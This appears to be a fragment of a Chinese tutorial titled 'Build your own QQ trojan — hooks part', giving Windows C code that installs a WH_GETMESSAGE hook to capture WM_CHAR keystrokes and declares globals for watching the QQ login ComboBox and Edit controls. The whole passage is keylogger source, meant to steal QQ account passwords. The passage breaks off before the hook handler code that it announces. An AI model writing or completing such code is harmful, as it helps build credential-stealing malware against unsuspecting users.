自己动手做QQ木马-----HOOK篇

hhook2 = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hinstDll, dwThreadId);

WH_GETMESSAGE截取WM_CHAR消息，获取键盘输入。

下面是这两个钩子消息处理函数的代码：

HINSTANCE g_hinstDll = NULL; // instance handle

HWND g_hwndComboBox = NULL; //Handle of window to be monitored

HWND g_hwndEdit = NULL;

TCHAR g_lpszEditDump[32] = {0}; //键盘输入Edit控件的内容

BOOL g_fSingleEnter = true; //一次键盘输入POST两次WM_CHAR

//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

#pragma data_seg("Shared")

HHOOK g_hhook1 = NULL; // Hook handle for thread-specific hook

HHOOK g_hhook2 = NULL;

const char g_classname1[] = "ComboBox";

const char g_classname2[] = "Edit"; //for class name you want to monitor